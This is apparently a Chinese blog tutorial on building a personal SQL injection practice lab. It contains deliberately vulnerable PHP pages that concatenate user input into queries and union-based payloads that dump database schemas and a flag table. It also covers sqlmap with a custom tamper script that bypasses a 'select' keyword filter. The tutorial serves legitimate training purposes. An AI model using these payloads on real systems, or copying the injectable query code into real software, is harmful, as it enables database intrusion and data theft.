自己搭建sql注入靶场及sqlmap脚本利用


搭建环境

  1. Debian10.x
  2. apache2
  3. MariaDB10.x
  4. php7.3

环境搭建可参考
https://blog.csdn.net/weixin_43623271/article/details/122372456

数据库准备工作

下面的操作可以根据自己的喜好更改,如数据库名字,表名,记录,用户名(也可以用root),总之可以随便改

创建一个test数据库
在这里插入图片描述
创建一个class数据表
在这里插入图片描述
插入几条数据
在这里插入图片描述
创建一个数据库用户xiaoming,用于管理靶场的数据库

mysql> grant all privileges on test.* to 'xiaoming'@'%' identified by '123456' with grant option;

在这里插入图片描述

查看xiaoming用户确实存在
在这里插入图片描述
数据库工作准备完成,接下来就是靶场代码

靶场第一关

id没有做任何的防御

代码
改一改数据库参数即可
first.php

<?php
$server = 'localhost';
$user = 'xiaoming'; //用户名
$password = '123456';//密码
$dbname = 'test';//数据库名

$conn = mysqli_connect($server, $user, $password, $dbname);

if (!$conn) {
    die("连接失败" . mysqli_connect_error());
}
$uid = $_REQUEST['id'];
// 字符型
$sql = "select id,lastname,email from class where id='" . $uid . "'";

$result = mysqli_query($conn, $sql);
if (isset($uid) && $uid != '') {
    if (mysqli_num_rows($result) > 0) {
        $html .=  "<table>";
        while ($row = mysqli_fetch_array($result)) {
            $id = $row['id'];
            $name = $row['lastname'];
            $email = $row['email'];
            $html .= "<tr><td>id:{$id}</td><td>name:{$name}</td><td>email:{$email}<td></td>";
        }
        $html .=  "</table>";
    } else {

        $html .=  "<p>你输入的userID不存在,请重新输入!</p>";
    }
} else {
    $html .= "请在输入框输入数字!<br>";
}
$html .= "你输入的sql语句是:{$sql}";

mysqli_close($conn);

?>
<html>
<body>
    <h1>第一关:联合查询注入/布尔注入</h1>
    <form action="" method="get">
        <input name="id" value="">
        <input name="submit" value="submit" type="submit">
    </form>
    <?php echo $html; ?>
</body>

</html>

效果如下
在这里插入图片描述
输入框输入1
在这里插入图片描述
可以查询到数据并且源代码执行的数据库查询语句也显示在页面上,是字符型。

联合查询注入
查看所有数据库

1' union select 1,2,group_concat(schema_name) from information_schema.schemata%23

在这里插入图片描述
查看test中所有表

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = "test"%23

在这里插入图片描述
看到有个flag表(是我后面加上去的),查看一下字段

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = "test" and table_name="flag"%23

在这里插入图片描述
查询flag记录

1' union select 1,2,group_concat(flag) from test.flag%23

在这里插入图片描述

靶场第二关

id过滤了select关键字
这关我打算用sqlmap做

代码

<?php
$server = 'localhost';
$user = 'xiaoming';
$password = '123456';
$dbname = 'test';

$conn = mysqli_connect($server, $user, $password, $dbname);

if (!$conn) {
    die("连接失败" . mysqli_connect_error());
}

$arr = array("/select/i");
$uid = $_REQUEST['id'];
$uid = preg_replace($arr, "", $uid);

// 字符型
$sql = "select id,lastname,email from class where id='" . $uid . "'";

$result = mysqli_query($conn, $sql);
if (isset($uid) && $uid != '') {
    if (mysqli_num_rows($result) > 0) {
        $html .=  "<table>";
        while ($row = mysqli_fetch_array($result)) {
            $id = $row['id'];
            $name = $row['lastname'];
            $email = $row['email'];
            $html .= "<tr><td>id:{$id}</td><td>name:{$name}</td><td>email:{$email}<td></td>";
        }
        $html .=  "</table>";
    } else {

        $html .=  "<p>你输入的userID不存在,请重新输入!</p>";
    }
} else {
    $html .= "请在输入框输入数字!<br>";
}
$html .= "你输入的sql语句是:{$sql}";

mysqli_close($conn);

?>
<html>

<body>
    <h1>第二关:过滤select绕过</h1>
    <h2>使用函数preg_replace</h2>
    <form action="" method="get">
        <input name="id" value="">
        <input name="submit" value="submit" type="submit">
    </form>
    <?php echo $html; ?>
</body>

</html>

主要代码
将select替换为空

$arr = array("/select/i");
$uid = $_REQUEST['id'];
$uid = preg_replace($arr, "", $uid);

效果
select被吃掉了
在这里插入图片描述
上sqlmap,看看过滤了select关键字,sqlmap能否检测出sql注入漏洞
在这里插入图片描述
居然检测出来了。可以看到有布尔类型和基于延时的盲注
在这里插入图片描述
但是我查看数据库的时候
在这里插入图片描述
这里只显示了一个数据库,不符合现实,可能是select过滤了其他库select不了
在这里插入图片描述

sqlmap脚本编写

我们可以自己写一些绕过脚本,然后加入--tamper选项运用到sqlmap的payload中,这样就能绕过一些防御手段。

sqlmap脚本存放位置
sqlmap目录下的tamper目录
在这里插入图片描述
根据这个select过滤,我写了一个绕过脚本
selectbypass.py
在这里插入图片描述
这个脚本作用是将select替换成双写select

运用脚本

我先把之前的缓存删除,不删除的话结果跟上次的没区别,缓存文件位置在下面可以看到
在这里插入图片描述
然后运用了两个脚本,继续跑
在这里插入图片描述
unionalltounion.py 是sqlmap自带脚本,作用将union all 替换成union
selectbypass.py是我刚刚写的脚本,作用将select替换成双写select
看到下面两行消息,证明脚本可用
在这里插入图片描述
看到了多了一个联合查询注入漏洞,原来是没有的。
在这里插入图片描述
再查看所有数据库
在这里插入图片描述
这次的结果就没错了
在这里插入图片描述
查看test数据库所有表
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
也没问题,当然大家也可以搭建第三关、第四关。。

参考资料

sqlmap中文手册,直接搜选项即可
https://sqlmap.kvko.live/usage/injection#xiu-gai-zhu-ru-shu-ju

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值